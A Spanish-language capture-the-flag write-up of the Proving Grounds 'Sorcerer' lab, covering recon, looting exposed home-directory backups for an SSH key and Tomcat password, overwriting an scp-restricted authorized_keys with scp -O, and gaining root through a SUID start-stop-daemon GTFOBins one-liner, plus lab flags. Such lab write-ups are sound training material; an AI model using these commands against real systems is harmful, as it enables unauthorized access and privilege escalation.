the_open_door
café
ESEN

Sorcerer

Proving Grounds PracticeMediaLinux192.168.104.100

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#nfs#exposed-backups#ssh-keys#credentials-in-source#scp#forced-command#authorized-keys#suid#start-stop-daemon#gtfobins#oscp
TL;DR. Sorcerer publica en el 7742 un /zipfiles/ con copias de los home de varios usuarios. El de max incluye su clave SSH privada y credenciales de Tomcat (secretos en ficheros). Su authorized_keys está restringido a scp (forced command), pero scp sigue pudiendo escribir ficheros: subimos un authorized_keys limpio sobre el suyo (con scp -O) y entramos por SSH como max. Para escalar, hay un SUID poco común, start-stop-daemon, que lanza una shell como root (abuso de SUID vía GTFOBins).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Escaneamos UDP y TCP:

ping -c 1 192.168.104.100
nmap -sU --top-ports 1000 -Pn -n --open 192.168.104.100
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.104.100
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
2049/tcp open  nfs
7742/tcp open  http
8080/tcp open  http
nmap -p22,80,111,2049,7742,8080,34625,43449,45551,49951 -sCV 192.168.104.100 -oN targetedScan
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     nginx
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs      3-4 (RPC #100003)
7742/tcp  open  http     nginx (http-title: SORCERER)
8080/tcp  open  http     Apache Tomcat 7.0.4

Hay NFS (111/2049), dos nginx (80 y 7742, este último titulado SORCERER) y un Tomcat 7.0.4 en el 8080. El 7742 con título propio es el más prometedor.

HTTP - TCP 7742

dirsearch sobre el 7742 encuentra /zipfiles/, un directorio listable con varios ZIP:

dirsearch -u http://192.168.104.100:7742 --exclude-status=403,404 -r
wget -r http://192.168.104.100:7742/zipfiles/
francis.zip   max.zip   miriam.zip   sofia.zip

Son copias de los directorios home de cuatro usuarios. Los descomprimimos y revisamos su contenido.

Acceso como max

Backups expuestos: clave SSH y credenciales

El home de max es el interesante: trae su .ssh completo (con la clave privada id_rsa), un tomcat-users.xml.bak y un scp_wrapper.sh:

unzip max.zip
grep -ri pass .
home/max/.ssh/id_rsa
home/max/tomcat-users.xml.bak:  <user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>
home/max/scp_wrapper.sh

Tenemos la clave privada de max y, de regalo, credenciales de Tomcat (tomcat:VTUD2XxJjf5LPmu6, una vía alternativa por el manager del 8080). Seguimos con la clave SSH (secretos en ficheros).

authorized_keys restringido a scp: bypass

El authorized_keys de max no es normal: fuerza un comando (command="/home/max/scp_wrapper.sh"). Ese wrapper solo deja pasar scp y responde ACCESS DENIED a cualquier otra cosa, así que la clave no da shell interactiva, solo copia de ficheros:

scp_wrapper.sh que solo permite scp y el authorized_keys con command=scp_wrapper.sh

Un primer intento de scp falla por el protocolo moderno (SFTP) contra el comando forzado:

chmod 600 id_rsa
scp -i id_rsa test max@sorcerer:/tmp/test

el primer scp sin -O falla contra el comando forzado: "Received message too long"

scp: Received message too long 1094927173
scp: Ensure the remote shell produces no output for non-interactive sessions.

El error no es de permisos, es de protocolo: el scp moderno habla SFTP, y el comando forzado del otro lado no lo implementa. La solución sale del propio manual de scp, que documenta una opción para volver al protocolo antiguo:

man scp

Manual de scp: la opción -O usa el protocolo SCP heredado en vez de SFTP, necesario para servidores que no implementan SFTP

-O      Use the legacy SCP protocol for file transfers instead of the SFTP protocol. Forcing the use of
        the SCP protocol may be necessary for servers that do not implement SFTP, for backwards-
        compatibility for particular filename wildcard patterns and for expanding paths with a '~'
        prefix for older SFTP servers.

Repitiendo la subida de prueba con -O, el fichero pasa:

scp -O -i id_rsa test max@sorcerer:/tmp/test

scp -O sube el fichero de prueba correctamente: test 100% 5 bytes

test                                               100%    5     0.2KB/s   00:00

Con eso confirmado, llega la idea que abre la caja: aunque la clave esté limitada a scp, scp escribe ficheros, así que sobrescribimos el propio authorized_keys por uno sin el forced command, eliminando la restricción:

scp -O -i id_rsa authorized_keys max@sorcerer:/home/max/.ssh/authorized_keys

scp -O sobrescribiendo el authorized_keys de max sin la restriccion

authorized_keys                                    100%  738    23.2KB/s   00:00

El authorized_keys original imponía command="/home/max/scp_wrapper.sh" (más no-pty); el que subimos lo reemplaza por la misma clave sin ese forced command. Ahora la clave da una shell interactiva completa:

ssh -i id_rsa max@sorcerer
id

Sesion SSH como max@sorcerer (uid=1003) tras quitar la restriccion del authorized_keys

max@sorcerer:~$ whoami
max
max@sorcerer:~$ id
uid=1003(max) gid=1003(max) groups=1003(max)

Ya tenemos shell completa como max (uid 1003). Leemos la primera prueba:

cat /home/dennis/local.txt && whoami && ip a && hostname

local.txt leido como max en sorcerer, con IP 192.168.104.100

a392653b6cca3c86b5a12a87afc85927

Escalada de privilegios

SUID start-stop-daemon (GTFOBins)

Buscamos binarios SUID y aparece uno poco habitual: /usr/sbin/start-stop-daemon, la utilidad de Debian para arrancar y parar demonios:

find / -perm -4000 2>/dev/null
/usr/sbin/start-stop-daemon
...

start-stop-daemon puede lanzar un programa arbitrario; al ser SUID root, ese programa hereda los privilegios. Según GTFOBins, le pedimos que arranque /bin/sh con -p (mantener privilegios) (abuso de binario SUID):

/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
whoami

start-stop-daemon lanzando /bin/sh -p y whoami devolviendo root en sorcerer

max@sorcerer:~$ /usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p
# whoami
root

start-stop-daemon arranca /bin/sh -p conservando el SUID: root. Leemos la prueba final:

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leido como root en sorcerer, con whoami root

46cc0b960e5d5c7a55f938f2cdfc6f53

Cadena de ataque

HTTP (7742)  --  /zipfiles/  ->  copias de los home (max.zip, ...)
        │  max.zip -> id_rsa (clave SSH) + tomcat creds
        │  authorized_keys restringido a scp (forced command)
        │  scp -O sobrescribe authorized_keys (sin restriccion)
        ▼
shell como max  (ssh -i id_rsa, local.txt)
        │  SUID /usr/sbin/start-stop-daemon  --  -S -x /bin/sh -- -p (GTFOBins)
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • Publicar backups de home es entregar las llaves. El ZIP de max incluía su clave SSH privada; un directorio listable en un puerto secundario bastó para comprometer la cuenta.
  • Un forced command de scp no protege si se puede escribir el propio authorized_keys. Restringir la clave a scp parecía contener el acceso, pero scp escribe ficheros: sobrescribir authorized_keys elimina la restricción. El wrapper debería impedir tocar ~/.ssh (y la clave no debería poder escribir su propia config).
  • scp -O resucita el protocolo heredado. El scp moderno usa SFTP; cuando el forzado de comando lo rompe, -O vuelve al protocolo antiguo y la copia funciona.
  • Cualquier SUID que ejecute programas es root. start-stop-daemon no es un binario "de privesc" evidente, pero su -x lanza lo que quieras; siendo SUID root, abre una shell privilegiada. Revisar la lista de SUID (y GTFOBins) es obligatorio.
Cheatsheet de comandos 10 comandos

Repaso rápido